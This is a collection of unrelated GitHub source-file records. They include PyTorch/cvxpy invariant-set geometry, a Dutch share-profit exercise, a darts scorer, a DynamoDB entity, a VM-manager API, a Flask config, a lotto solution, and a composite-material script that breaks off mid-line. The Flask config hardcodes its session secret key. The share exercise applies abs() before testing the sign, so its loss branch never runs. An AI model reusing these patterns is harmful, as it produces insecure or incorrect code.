+{"seq_id":"19484291480","text":"import math\nimport torch\nimport torch.nn as nn\nimport cvxpy as cp\nfrom cvxpylayers.torch import CvxpyLayer\n\n\nclass Sphere(nn.Module):\n \"\"\" I = sphere centered at z=0\n \"\"\"\n def __init__(self, dim_invset:int, radius:float,\n learnable:bool=False):\n super(Sphere, self).__init__()\n assert radius >= 0.0\n self.dim_invset = dim_invset\n self.learnable = learnable\n if learnable:\n self.radius = nn.Parameter(torch.ones(1, requires_grad=True)*radius)\n else:\n self.register_buffer('radius', torch.ones(1)*radius)\n\n def forward(self, z:torch.Tensor):\n z_ = z.view(-1, self.dim_invset)\n z_norm_sq = torch.sum(torch.pow(z_, 2), dim=1)\n return self.radius*self.radius - z_norm_sq\n\n def proj(self, z:torch.Tensor, mode:str):\n z_ = z.view(-1, self.dim_invset); batchsize = z_.shape[0]\n z_norm_sq = torch.sum(torch.pow(z_, 2), dim=1).view(-1,1)\n z_norm = torch.sqrt(z_norm_sq)\n\n C = self.radius*self.radius - z_norm_sq\n C = C.detach()\n\n if mode=='surf' or self.radius==0.0:\n z_norm_ = torch.where(z_norm==0.0, torch.ones_like(z_norm,device=z_.device), z_norm)\n z_proj = z_ / z_norm_ * self.radius\n elif mode=='vol' and self.radius!=0.0:\n out = (C<0.0).nonzero()\n z_proj_out = z_[out] / z_norm[out].clamp(min=1e-9) * self.radius\n z_proj = z_.clone()\n z_proj[out] = z_proj_out\n else:\n raise RuntimeError('projection error')\n\n return z_proj\n\n\nclass TwoTorus(nn.Module):\n \"\"\" I = 2-torus centered at z=0 (so dim_invset=3 only)\n \"\"\"\n def __init__(self, radius_main:float, radius_tube:float,\n learnable:bool=False):\n super(TwoTorus, self).__init__()\n assert radius_tube > 0.0\n assert radius_main > radius_tube\n self.learnable = learnable\n if learnable:\n self.radius_main = nn.Parameter(torch.ones(1, requires_grad=True)*radius_main)\n self.radius_tube = nn.Parameter(torch.ones(1, requires_grad=True)*radius_tube)\n else:\n self.register_buffer('radius_main', torch.ones(1)*radius_main)\n self.register_buffer('radius_tube', torch.ones(1)*radius_tube)\n\n def forward(self, z:torch.Tensor):\n z_ = z.view(-1, 3)\n norm_01 = torch.sqrt(torch.pow(z_[:,0],2) + torch.pow(z_[:,1],2))\n norm_2_sq = torch.pow(z_[:,2],2)\n return self.radius_tube*self.radius_tube - (torch.pow(self.radius_main-norm_01, 2) + norm_2_sq)\n\n def proj(self, z:torch.Tensor, mode:str):\n z_ = z.view(-1, 3); batchsize = z_.shape[0]\n norm_01 = torch.sqrt(torch.pow(z_[:,0],2) + torch.pow(z_[:,1],2))\n norm_2_sq = torch.pow(z_[:,2],2)\n\n coeff_2 = self.radius_tube / torch.sqrt(torch.pow(self.radius_main-norm_01, 2) + norm_2_sq)\n coeff_01 = self.radius_main / norm_01 + (1.0 - self.radius_main / norm_01)*coeff_2\n\n C = self.radius_tube*self.radius_tube - (torch.pow(self.radius_main-norm_01, 2) + norm_2_sq)\n C = C.detach()\n\n z_proj_ = z_ * torch.cat([coeff_01, coeff_01, coeff_2], dim=1)\n z_proj = z_.clone()\n for i in range(batchsize):\n if (mode=='vol' and C[i]<0.0) or (mode=='surf' and C[i]!=0.0):\n # if not in I, and\n if norm_01[i] == 0.0:\n # if on the center axis, then choose an arbitrary point from the axis-oriented circle\n z_proj[i][0] = self.radius_main * (1.0 - coeff_2[i])\n z_proj[i][1] = 0.0\n z_proj[i][2] = z_[i][2] * coeff_2[i]\n elif norm_01[i] == self.radius_main and norm_2_sq[i] == 0.0:\n # if on the major circle, then choose an arbitrary point from the tube-oriented circle\n z_proj[i][0] = z_[i][0] * (self.radius_tube/self.radius_main + 1.0)\n z_proj[i][1] = z_[i][1] * (self.radius_tube/self.radius_main + 1.0)\n z_proj[i][2] = 0.0\n else:\n # otherwise, then project\n z_proj[i] = z_proj_[i]\n\n return z_proj\n\n\nclass SimpleLinear(nn.Module):\n def __init__(self, dim_invset:int, init_u:torch.Tensor=None, learnable:bool=True):\n super(SimpleLinear, self).__init__()\n self.dim_invset = dim_invset\n\n if init_u is None:\n init_u = torch.rand(dim_invset, requires_grad=True)*2.0-1.0\n\n if learnable:\n self.u = nn.Parameter(init_u)\n else:\n self.register_buffer('u', init_u)\n\n def forward(self, z:torch.Tensor):\n z_ = z.view(-1, self.dim_invset)\n out = torch.sum(z_*self.u, dim=1)\n out = -out\n return out\n\n def proj(self, z:torch.Tensor, mode:str):\n z_ = z.view(-1, self.dim_invset); batchsize = z_.shape[0]\n\n C = self.forward(z_).detach()\n\n u_norm_sq = torch.sum(torch.pow(self.u,2))\n\n if mode=='vol':\n nz = (C<0.0).nonzero().view(-1)\n z_proj = z_.clone()\n if nz.shape[0]>0:\n z_proj_nz = torch.ones((nz.shape[0], self.dim_invset), device=z_.device)\n z_proj_nz = z_proj_nz * (torch.sum(z_[nz]*self.u, dim=1)/u_norm_sq).view(nz.shape[0], 1)\n z_proj_nz = z_proj_nz * self.u\n z_proj[nz] = z_proj_nz\n elif mode=='surf':\n z_proj = torch.ones((batchsize, self.dim_invset), device=z_.device)\n z_proj = z_proj * (torch.sum(z_*self.u, dim=1)/u_norm_sq).view(batchsize, 1)\n z_proj = z_proj * self.u\n\n return z_proj\n\n\nclass Linear(nn.Module):\n \"\"\" I = {z | C(z) >= 0}\n -C(z) = a^T z + b\n \"\"\"\n def __init__(self, dim_invset:int,\n init_a:torch.Tensor=None, init_b:torch.Tensor=None, bias:bool=False):\n super(Linear, self).__init__()\n self.dim_invset = dim_invset\n\n if init_a is None:\n init_a = torch.rand(dim_invset, requires_grad=True)*2.0-1.0\n if init_b is None:\n init_b = -1.0 * torch.rand(1, requires_grad=True)*2.0-1.0\n\n self.a = nn.Parameter(init_a)\n if bias:\n self.b = nn.Parameter(init_b)\n else:\n self.register_buffer('b', torch.zeros(1))\n\n def forward(self, z:torch.Tensor):\n z_ = z.view(-1, self.dim_invset)\n out = torch.sum(z_*self.a, dim=1) + self.b\n out = -out\n return out\n\n def proj(self, z:torch.Tensor, mode:str):\n z_ = z.view(-1, self.dim_invset); batchsize = z_.shape[0]\n\n C = self.forward(z_).detach()\n\n _a = cp.Parameter(self.dim_invset)\n _b = cp.Parameter(1)\n _z = cp.Parameter(self.dim_invset)\n _z_proj = cp.Variable(self.dim_invset)\n\n obj = cp.Minimize(0.5*cp.sum_squares(_z_proj-_z))\n if mode=='vol':\n cons = [-cp.sum(cp.multiply(_a, _z_proj)) - _b >= 0.0]\n elif mode=='surf':\n cons = [-cp.sum(cp.multiply(_a, _z_proj)) - _b == 0.0]\n\n prob = cp.Problem(obj, cons)\n layer = CvxpyLayer(prob, parameters=[_a, _b, _z], variables=[_z_proj])\n\n if mode=='vol':\n idx = (C<0.0).nonzero()\n elif mode=='surf':\n idx = (C!=0.0).nonzero()\n\n z_proj = z_.clone()\n for i in idx:\n z_proj_i = layer(self.a, self.b, z_[i].view(self.dim_invset))\n z_proj[i] = z_proj_i[0].clone()\n\n return z_proj\n\n\nclass Quadric(nn.Module):\n \"\"\" I = {z | C(z) >= 0}\n -C(z) = 0.5*z^T A z + b^T z + c\n \"\"\"\n def __init__(self, dim_invset:int, init_sqrtA:torch.Tensor=None,\n init_b:torch.Tensor=None, init_c:torch.Tensor=None):\n super(Quadric, self).__init__()\n self.dim_invset = dim_invset\n\n if init_sqrtA is None:\n init_sqrtA = torch.rand([dim_invset,dim_invset], requires_grad=True)\n if init_b is None:\n init_b = torch.rand(dim_invset, requires_grad=True)*2.0-1.0\n if init_c is None:\n init_c = torch.rand(1, requires_grad=True)*2.0-1.0\n\n self.sqrtA = nn.Parameter(init_sqrtA)\n self.b = nn.Parameter(init_b)\n self.c = nn.Parameter(init_c)\n\n def forward(self, z:torch.Tensor):\n z_ = z.view(-1, self.dim_invset)\n out = 0.5*torch.sum(torch.pow(z_@self.sqrtA.T, 2), dim=1) + torch.sum(z_*self.b, dim=1) + self.c\n out = -out\n return out\n\n def proj(self, z:torch.Tensor, mode:str):\n z_ = z.view(-1, self.dim_invset); batchsize = z_.shape[0]\n\n C = self.forward(z_).detach()\n\n _sqrtA = cp.Parameter((self.dim_invset, self.dim_invset))\n _b = cp.Parameter(self.dim_invset)\n _c = cp.Parameter(1)\n _z = cp.Parameter(self.dim_invset)\n _z_proj = cp.Variable(self.dim_invset)\n\n obj = cp.Minimize(0.5*cp.sum_squares(_z_proj-_z))\n if mode=='vol':\n cons = [-0.5*cp.sum_squares(cp.matmul(_sqrtA, _z_proj))\n - cp.sum(cp.multiply(_b, _z_proj)) - _c >= 0.0]\n elif mode=='surf':\n raise NotImplementedError()\n cons = [-0.5*cp.sum_squares(cp.matmul(_sqrtA, _z_proj))\n - cp.sum(cp.multiply(_b, _z_proj)) - _c == 0.0]\n # NOTE: This is not DCP, but DCCP, so cvxpylayers cannot handle it :(\n\n prob = cp.Problem(obj, cons)\n layer = CvxpyLayer(prob, parameters=[_sqrtA, _b, _c, _z], variables=[_z_proj])\n\n if mode=='vol':\n idx = (C<0.0).nonzero()\n elif mode=='surf':\n idx = (C!=0.0).nonzero()\n\n z_proj = z_.clone()\n for i in idx:\n z_proj_i = layer(self.sqrtA, self.b, self.c, z_[i].view(self.dim_invset))\n z_proj[i] = z_proj_i[0].clone()\n\n return z_proj\n","repo_name":"n-takeishi/stable-set-dynamics","sub_path":"stadyn/geometry.py","file_name":"geometry.py","file_ext":"py","file_size_in_byte":9787,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"0"}
+{"seq_id":"32072407502","text":"\"\"\"\nA program that calculates the profit or the loss resulting from\nbuying and selling shares.\n\n* The program reads the number of shares, the price at which\n a single share was bought and the price at which a single\n share was sold.\n\n* Assume that the user enters numerical values for all three\n input data. However, if the user enters some input that\n makes no sense (negative number of shares, negative prices),\n the program prints a decent error message.\n\n* In buying shares, you have to pay 2% extra on the total amount of\n bought shares. In selling shares, you pay 1.5% of the total price.\n\n* The program prints the profit or loss both as a value and as a\n percentage of the total amount paid at the time of purchase\n (buy commission included). The absolute amount must be rounded\n to at most 2 digits after the decimal point; the percentage may\n not have a decimal fraction.\n\nSome examples:\n10 shares bought at 20.53 and sold at 22.64 [Profit is 13.6 or 6%]\n20 shares bought at 10.07 and sold at 9.73 [Loss is 13.75 or 7%]\n-4 shares [Error message]\n4 shares bought at -12.45 [Error message]\n4 shares bought at 12.45 and sold at -11.67 [Error message]\n\"\"\"\n\nfrom math import *\n\namount = int(input('aantal gekochte aandelen: '))\nprice_bought = float(input('prijs van 1 aangekochte aandeel: '))\nprice_sold = float(input('prijs van 1 verkocht aandeel: '))\n\nif amount < 0 or price_bought < 0 or price_sold < 0:\n print('ERROR ingevoerde data is onmogelijk')\nelse:\n Saldo = abs(round(-amount*price_bought - 0.02 *(amount*price_bought) + amount*price_sold - 0.015*(amount*price_sold),1))\n Percent = abs(floor(100*(Saldo / (amount*price_bought - 0.02 *(amount*price_bought)))))\n if Saldo < 0:\n print('verlies is: ',Saldo,'or',Percent,'%')\n else:\n print('winst is: ',Saldo,'or',Percent,'%')\n\n","repo_name":"loomkoom/python-ess","sub_path":"O2_oefenzittingen/oefenzitting_1/O6_shares.py","file_name":"O6_shares.py","file_ext":"py","file_size_in_byte":1826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"39445953057","text":"def points( stdscr, y, x, inp, colors ):\n#{\n\tpos_y = y\n\tpos_x = x\n\tu.move( pos_y, pos_x )\n\tprfix = \"\"\n\tsuffix = None\n\tpick = 0\n\n\tif ( inp == 48 ):\n\t#{\n\t\tu.addstr( \" --- \" )\n\t\treturn pick\n\t#}\n\telif ( inp == 49 ):\n\t#{\n\t\tprfix = \" \"\n\t\tpick = 1\n\t#}\n\telif ( inp == 50 ):\n\t#{\n\t\tprfix = \"D\"\n\t\tpick = 2\n\t#}\n\telif ( inp == 51 ):\n\t#{\n\t\tprfix = \"T\"\n\t\tpick = 3\n\t#}\n\n\tif ( y != 22 ):\n\t#{\n\t\tsuffix = y - 1\n\t#}\n\telse:\n\t#{\n\t\tprfix = \"S\"\n\t\tsuffix = \"BL\"\n\t\tpick = 2\n\t\tif ( inp == 50 ):\n\t\t#{\n\t\t\tprfix = \"B\"\n\t\t\tsuffix = \"LL\"\n\t\t\tpick = 3\n\t\t#}\n\t#}\n\n\tif ( pick != None ):\n\t#{\n\t\tif ( y < 11 ):\n\t\t#{\n\t\t\tu.addstr( \" {}0{} \".format( prfix, suffix ), colors[ pick ] )\n\t\t#}\n\t\telse:\n\t\t#{\n\t\t\tu.addstr( \" {}{} \".format( prfix, suffix ), colors[ pick ] )\n\t\t#}\n\t#}\n\treturn pick\n#}\n\ndef updates( ):\n#{\n\tu.update_panels( )\n\tu.doupdate( )\n#}\n\ndef init( ):\n#{\n\tglobal u\n\timport unicurses as u\n#}","repo_name":"Divinus01/darts","sub_path":"shanghai/table_fill_shanghai.py","file_name":"table_fill_shanghai.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"23891141113","text":"import os\n\nclass ListMetadataEntity:\n table_name = os.environ['FAVORITES_TABLE_NAME'] \n\n def __init__(self, item):\n self.username = item['username']\n self.list_uuid = item['list_uuid']\n self.metadata_id = self.generate_metadata_id()\n self.list_size = item['list_size']\n self.created_at = item['created_at']\n self.visibility = item['visibility']\n self.title = item['title']\n self.description = item['description']\n self.notes = item['notes']\n\n def generate_metadata_id(self):\n prefix = \"LIST_METADATA#\"\n return prefix + self.list_uuid\n\n def generate_put_metadata_list_item(self):\n item = {\n \"Put\": {\n \"Item\": {\n \"PK\": {\n \"S\": self.username\n },\n \"SK\": {\n \"S\": self.metadata_id\n },\n \"list_size\": {\n \"N\": str(self.list_size)\n },\n \"created_at\": {\n \"S\": self.created_at\n },\n \"visibility\": {\n \"S\": self.visibility\n },\n \"title\": {\n \"S\": self.title\n },\n \"description\": {\n \"S\": self.description\n },\n \"notes\": {\n \"S\": self.notes\n }\n },\n \"TableName\": ListMetadataEntity.table_name\n }\n }\n return item\n\n @classmethod\n def generate_delete_metadata_item(cls, list_uuid, username):\n metadata_id = f\"LIST_METADATA#{list_uuid}\"\n item = {\n \"Delete\": {\n \"TableName\": ListMetadataEntity.table_name,\n \"Key\": {\n \"PK\": {\n \"S\": username\n },\n \"SK\": {\n \"S\": metadata_id\n }\n }\n }\n }\n return [item] \n\n @classmethod\n def build_update_expression(cls, data):\n pf = 'prefix'\n vals = {}\n exp = 'SET '\n attr_names = {}\n for key,value in data.items():\n vals[':{}'.format(key)] = value\n attr_names['#pf_{}'.format(key)] = key\n exp += '#pf_{} = :{},'.format(key, key)\n exp = exp.rstrip(\",\")\n return vals, exp, attr_names \n\n","repo_name":"rcuri/favorites","sub_path":"fav_list/src/models/list_metadata_entity.py","file_name":"list_metadata_entity.py","file_ext":"py","file_size_in_byte":2585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"32286249051","text":"import json\nfrom os.path import isdir, isfile\n\ndef get_machine_status(machine_name):\n\tif not machine_name in vmanager.datastore['machines']:\n\t\treturn None, None\n\t\n\tmachine = vmanager.datastore['machines'][machine_name]\n\n\tnics = {}\n\tfor nic in machine.nics:\n\t\tnics[str(nic)] = {'ip' : None, 'state' : nic.state, 'connected_to' : None}\n\n\thdds = {}\n\tfor hdd in machine.harddrives:\n\t\thdds[hdd.filename] = {'size' : hdd.size, 'format' : hdd.format, 'snapshots' : False}\n\n\tcd = machine.cd.filename\n\t\n\treturn machine, {\n\t\t'machine' : machine_name,\n\t\t'is_running' : machine.is_running(),\n\t\t'data' : {\n\t\t\t'nics' : nics,\n\t\t\t'hdds' : hdds,\n\t\t\t'cds' : cd\n\t\t}\n\t}\n\ndef notify_stop(client, machine_name):\n\tmachine, machine_struct = get_machine_status(machine_name)\n\tclient.send(bytes(json.dumps(machine_struct), 'UTF-8'))\n\nclass parser():\n\tdef process(self, path, client, data, headers, fileno, addr, *args, **kwargs):\n\t\tprint('### Machine ###\\n', data, client)\n\t\t\n\t\tif 'target' in data:\n\t\t\tmachine, machine_struct = get_machine_status(data['target'])\n\n\t\t\tif not machine_struct:\n\t\t\t\treturn {\n\t\t\t\t\t'status' : 'failed',\n\t\t\t\t\t'message' : f'{data[\"target\"]} does not exist.'\n\t\t\t\t}\n\n\t\t\tif 'action' in data:\n\t\t\t\tif data['action'] == 'start':\n\t\t\t\t\tmachine.start_vm()\n\t\t\t\t\tmachine_struct['is_running'] = True\n\t\t\t\telif data['action'] == 'stop':\n\t\t\t\t\tmachine.stop_vm(callback=notify_stop, client=client, machine_name=data['target'])\n\t\t\t\t\tmachine_struct['is_running'] = False\n\t\t\telse:\n\t\t\t\tmachine_struct['is_running'] = machine.is_running()\n\n\t\t\treturn machine_struct\n\t\telif 'new' in data:\n\t\t\tmachine = vmanager.Machine(name=data['new']['name'], display=True, harddrives=data['new']['harddrives'], nics=data['new']['nics'], cd=data['new']['cd'])\n\t\t\t\n\t\t\tresponse = {'machines' : {}}\n\t\t\tfor machine_name in vmanager.datastore['machines']:\n\t\t\t\tresponse['machines'][machine_name] = {\n\t\t\t\t\t'nics' : len(vmanager.datastore['machines'][machine_name].nics),\n\t\t\t\t\t'hdds' : len(vmanager.datastore['machines'][machine_name].harddrives),\n\t\t\t\t\t'cds' : vmanager.datastore['machines'][machine_name].cd.filename\n\t\t\t\t}\n\n\t\t\treturn response","repo_name":"Torxed/Vmanager-gui","sub_path":"api_modules/machine.py","file_name":"machine.py","file_ext":"py","file_size_in_byte":2094,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"0"}
+{"seq_id":"10880310514","text":"import os\nfrom sys import platform\nfrom flask_dropzone import Dropzone\nfrom flask import Flask\n\n# Константы\nDEBUG = False\nWEIGHTS = \"best.pt\"\nUPLOAD_FOLDER = \"uploads\"\nTRACK_FOLDER = \"tracked\"\nDEFAULT_WIN_GSTREAMER_PATH = \"C:\\\\GST\\\\1.0\\\\msvc_x86_64\\\\bin\"\nAPP_PORT = 8080\nHTTP_PORT = 8081\nMAX_FILESIZE = 256 # МБ\nRUN_GST_PIPELINE = False if DEBUG else True\nEXPORT_DATA_TO_DB = False if DEBUG else True\n\n# Узнаём запущена ли прога на винде\nWINDOWS = (platform == \"win32\")\n\n# Сохраняем корневой путь к папке проекта\nbasedir = os.path.abspath(os.path.dirname(__file__))\nif WINDOWS:\n basedir = basedir[:basedir.rfind('\\\\')]\nelse:\n basedir = basedir[:basedir.rfind('/')]\nprint(\"Корневая директория:\", basedir)\nUPLOAD_PATH = os.path.join(basedir, UPLOAD_FOLDER)\nTRACKED_PATH = os.path.join(basedir, TRACK_FOLDER)\nWEIGHTS_PATH = os.path.join(basedir, WEIGHTS)\nEXAMPLES_PATH = os.path.join(basedir, \"examples\")\n\n\n# Проверяем на наличие папку uploads, если нет то создаём, если есть - очищаем содержимое.\nif not os.path.exists(UPLOAD_FOLDER):\n print(\"Папка uploads не существовала\")\n os.mkdir(UPLOAD_FOLDER)\nelse:\n files = os.listdir(UPLOAD_FOLDER)\n if files:\n for file in files:\n os.remove(os.path.join(UPLOAD_PATH, file))\n print(\"О��ищена папка upload\")\n# Проверяем на наличие папку tracked, если нет то создаём, если есть - очищаем содержимое.\nif not os.path.exists(TRACK_FOLDER):\n print(\"Папка tracked не существовала\")\n os.mkdir(TRACK_FOLDER)\nelse:\n files = os.listdir(TRACK_FOLDER)\n if files:\n for file in files:\n os.remove(os.path.join(TRACK_FOLDER, file))\n print(\"Очищена папка tracked\")\n\n\n# Создаём объект класса Flask\napp = Flask(__name__)\n\n# Настраиваем app\napp.secret_key = b'Y0U_C9NT_BR6TEFORCE_IT'\napp.config[\"UPLOADED_PATH\"] = os.path.join(basedir, UPLOAD_FOLDER)\napp.config[\"ROOT_PATH\"] = basedir\napp.config[\"WEIGHTS_PATH\"] = WEIGHTS_PATH\napp.config[\"DROPZONE_MAX_FILE_SIZE\"] = MAX_FILESIZE\napp.config[\"DROPZONE_TIMEOUT\"] = 5 * 60 * 1000\ndropzone = Dropzone(app)\n","repo_name":"Barsux/vvit_siz","sub_path":"app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2360,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"10895815498","text":"# Level1 로또의 최고 순위와 최저 순위\n\ndef solution(lottos, win_nums):\n rank = [6, 6, 5, 4, 3, 2, 1]\n count = 0\n zero = lottos.count(0)\n\n for lotto in lottos:\n if lotto in win_nums:\n count += 1\n return rank[count + zero], rank[count]","repo_name":"ryanlee5646/algorithms_TIL","sub_path":"Programmers/level1/lotto_max_min.py","file_name":"lotto_max_min.py","file_ext":"py","file_size_in_byte":278,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"0"}
+{"seq_id":"42624430151","text":"from dev.gen_composite import gen_composite\nfrom dev.gen_coat import gen_coat\nfrom src.command_set_py import run_ana_RVE\nimport os\nimport linecache\nimport sys\nimport shutil\nimport itertools\nimport numpy as np\nimport math\n#utility function: part_composite generation\ndef gen_sequence(n_layers):\n #gen_lay = int(n_layers/2)\n print(\"Generating all possible combinations of layups\")\n list_1 = [0,90,45]\n all_list = []\n all_list.extend([list_1 for i in range(n_layers)]) \n res = list(itertools.product(*all_list))\n return res\n\n#utility function: part_composite generation \ndef substrate(self,n_layers,path):\n thickness_composite = []\n ctr = 0\n \n for k in range(4,n_layers,2):\n print (\"Target Layers: \")\n print(k)\n thick = 0.0285*k\n thickness_composite.append(thick)\n filter_seq = []\n sequence_final =[]\n sequence = []\n sequence = gen_sequence(k)\n print(\"Generating all possible sequences\")\n #print(\"sequence from function\")\n #print(len(sequence))\n #print(sequence)\n \n i = 0\n for seq in sequence:\n res = all(ele == seq[0] for ele in seq)\n if(res):\n sequence.pop(i)\n i=i+1\n \n #k1 = 0\n print(\"Filtering probable sequences\")\n print(\"first pass\")\n #print(len(sequence))\n #print(sequence)\n \n '''\n for seq in sequence:\n seq_sort = sorted(seq)\n \n df_list = []\n freq = 0\n \n for i in range(0,len(seq_sort)-1):\n tmp = seq_sort[i+1]-seq_sort[i]\n \n df_list.append(tmp)\n \n freq = df_list.count(0)\n \n if freq == 2:\n \n filter_seq.append(sequence[k1])\n \n k1 = k1+1\n \n print(\"Filter sequence\")\n print((len(filter_seq)))\n print(filter_seq)\n '''\n for j in range(len(sequence)):\n filter_seq.append(sequence[j])\n #check if anti-symmetric\n print(\"second pass\")\n count_asymm = 0\n for filtr in filter_seq:\n y =filtr[::-1]\n if y == filtr:\n sequence_final.append(filtr)\n count_asymm = count_asymm+1\n \n #Check if symmetric\n count_symm = 0\n for filtr in filter_seq:\n half_1 = filtr[:len(filtr)//2]\n half_2 = filtr[len(filtr)//2:]\n if half_1 == half_2:\n sequence_final.append(filtr)\n count_symm = count_symm +1\n #print(\"thickness_array\")\n #print(thickness_composite)\n print(\"Final stack\")\n print(len(sequence_final))\n print(\"combinations\")\n print(sequence_final)\n print(\"Generating part composite\")\n print(\"Generating material composite\")\n #for th in range(len(thickness_composite)):\n fldr = \"thck_\"+\"{:.3f}\".format(thickness_composite[ctr])\n pth = os.path.join(path,fldr)\n if not os.path.isdir(pth):\n os.mkdir(pth,0o666)\n for gen in range(len(sequence_final)):\n folder = \"seq_\"+str(sequence_final[gen])\n dest = os.path.join(pth,folder)\n if os.path.isdir(dest):\n continue\n else:\n os.mkdir(dest,0o666)\n print(\"thck\")\n print(thickness_composite[ctr])\n print(\"sequence\")\n print(sequence_final[gen])\n gen_composite.gen_part(\"\",dest,thickness_composite[ctr],sequence_final[gen])\n ctr = ctr+1\n \n#Utility function for mat composite generation\ndef compr_stren(Em,nu_m,Gm):\n Ef1 = 73.1 #GPa for glass\n #Em = 2.89 #val(j)GPa for epoxy\n #Gm = 1.07 #GPa/shear modulus for matrix\n nu_f12 = 0.22\n #nu_m = 0.35\n rf = 6e-6\n eta = 1.98\n Vf = 0.6\n pi = 22/7\n expr_1 = pi*math.sqrt(pi)*eta*rf\n expr_2 = 3*(Em/Ef1)\n expr_3= ((Vf*(Em/Ef1))+1-Vf)\n expr_4 = (1+(Vf*nu_f12)+(nu_m*(1-Vf)))\n expr_5 = expr_2*expr_3*expr_4\n expr = expr_1/expr_5\n expr_6 = (Vf+((Em/Ef1)*(1-Vf)))\n expr_7 = Gm*expr_6\n Xc = expr_7*((2*(1+nu_m)*math.sqrt(expr))+1)*1000#MPa\n return Xc\n#Utility function for mat composite generation\ndef ten_stren(sig_m):\n Ef = 76#GPa\n d = 13#microns\n Vf = 0.567\n beta = 6.34\n gamma = 3.927\n L0 = 24#mm\n sig_0 = 1150#MPa\n tau = 42#MPa\n lbda = 0\n sig_f = 1560#MPa\n expr_1 = (2*L0*tau)/(d*sig_0)\n exp_1 = 1/(beta+1)\n sig_c = sig_0*math.pow(expr_1,exp_1)\n sig_c_bar = sig_c/Vf\n Lt = (d*sig_f)/(4*tau)\n poly_a = 3.613e-9\n poly_b = -2.63e-5\n poly_c = 0.903\n poly_1 = poly_a*sig_c_bar*sig_c_bar + poly_b*sig_c_bar + poly_c\n Ac = math.exp(poly_1)\n expr_2 = Ac*L0\n expr_3 = 1-math.exp(-2*Lt*Ac)\n expr_4 = 2*Lt*Ac\n expr_6 = (-1)*L0*Ac\n expr_5 = Ac*Lt*math.exp(expr_6)\n Xt_Turon = Vf*math.pow(expr_2,(1/beta))*sig_0*((expr_3/expr_4)+expr_5)*1000\n return Xt_Turon\n#Utility function for mat composite generation\ndef shear_stren(sig_m): \n sc = 74/70*sig_m\n return sc\ndef calc_density(d_m):\n Vf_f = 0.6\n Vf_m = 1-Vf_f\n d_f = 2.49\n m_f = d_f*Vf_f\n m_m = d_m*Vf_m\n m_net = m_f+m_m\n d = m_net\n return d\n#Query total dirs, subdirs and files\ndef query_folders(path_temp):\n folders = files = 0\n for _, dirnames, filenames in os.walk(path_temp_out):\n folders += len(dirnames)\n files += len(filenames)\n#Query dirs immediately in path\ndef query_number_subfolder(path_temp):\n que = len(next(os.walk(path_temp))[1])\n return que\ndef query_list_subdirs(path_temp):\n q = [f.path.split(\"\\\\\")[-1] for f in os.scandir(path_temp) if f.is_dir()]\n return q\n\n#Utility function for combining files\ndef gen_list(n):\n q=[]\n for i in range(n):\n q.append(i)\n return q\n\ndef main():\n path = sys.path[0]\n if not path.startswith('C'):\n print(\"The application is located in\")\n print(path)\n else:\n print(\"Path has been reset manually\")\n path = \"e:/Analyses/FSI/app/\"\n mode = 0o666\n folder = \"out_temp\"\n #part_composite generation\n sub_foldr_part_composite = \"part_composite\"\n dest_temp_part_composite =os.path.join(path,folder,sub_foldr_part_composite)\n if not os.path.isdir(dest_temp_part_composite):\n os.mkdir(dest_temp_part_composite,mode)\n nth_layers = 1#11\n substrate(\"\",nth_layers,dest_temp_part_composite)\n #mat_composite generation\n #create folder\n sub_foldr_mat_composite = \"mat_composite\"\n dest_temp_mat_composite =os.path.join(path,folder,sub_foldr_mat_composite)\n if not os.path.isdir(dest_temp_mat_composite):\n os.mkdir(dest_temp_mat_composite,mode)\n #input matrix values\n print(\"Running micromechanics\")\n #Extract all matrix properties from input file matrix_sets.txt\n folder_input = \"input\"\n path_input_1 = os.path.join(path,folder_input)\n fname_input = \"matrix_sets.txt\"\n path_input = os.path.join(path_input_1,fname_input)\n fo = open(path_input,\"r\")\n lines = fo.readlines()\n val_name = []\n val = [] #List of E for matrices\n val_ro =[] #List of ro for matrices\n val_Gm = [] #List of shear modulus for matrices\n val_nu_m = [] #List of nu_m for matrices\n val_xc_m = [] #List of compressive strength for matrices\n val_xt_m = [] #List of tensile strength for matrices\n val_sx_m = [] #List of shear strength for matrices\n \n for i_val in range (int(len(lines))):\n #Extract matrix properties from .txt\n if lines[i_val].split(\" \")[0] == 'Name':\n val_name.append(lines[i_val].split(\" \")[1])\n elif lines[i_val].split(\" \")[0] == 'ro':\n val_ro.append(float(lines[i_val].split(\" \")[1]))\n elif lines[i_val].split(\" \")[0] == 'Em':\n val.append(float(lines[i_val].split(\" \")[1]))\n elif lines[i_val].split(\" \")[0]== \"Gm\":\n val_Gm.append(float(lines[i_val].split(\" \")[1]))\n elif lines[i_val].split(\" \")[0]== \"nu_m\":\n val_nu_m.append(float(lines[i_val].split(\" \")[1]))\n elif lines[i_val].split(\" \")[0]== \"xc_m\":\n val_xc_m.append(float(lines[i_val].split(\" \")[1]))\n elif lines[i_val].split(\" \")[0]== \"xt_m\":\n val_xt_m.append(float(lines[i_val].split(\" \")[1]))\n elif lines[i_val].split(\" \")[0]== \"sx_m\":\n val_sx_m.append(float(lines[i_val].split(\" \")[1]))\n \n #Shut this line off for real values from .txt\n val = [4000,5000,6000,8000]\n elas_mat = []\n # Run for every matrix identified by its E value\n for jind in range(len(val)):\n identifier_value = \"_E_\"+str(val[jind])\n print(\"Output/RVE_\"+identifier_value)\n print(\"...Running...\")\n RVE_folder = \"output\"\n path_RVE_1 = os.path.join(path,RVE_folder)\n dir_RVE = \"temp_RVE_\"+identifier_value\n path_RVE = os.path.join(path_RVE_1,dir_RVE)\n while not os.path.isdir(path_RVE):\n for ind in range(1,7):\n run_ana_RVE.modify_inp(\"\",ind,path,identifier_value,val[jind])\n run_ana_RVE.gen_out_RVE(\"\",ind,path,identifier_value)\n elas_mat_line = run_ana_RVE.combine_RVE(\"\",ind,path,identifier_value)\n elas_mat.append(elas_mat_line)\n folder_dest_1 = \"output\"\n folder_name = \"temp_RVE_\"+str(identifier_value)\n folder_dest = os.path.join(path,folder_dest_1,folder_name)\n name_out = 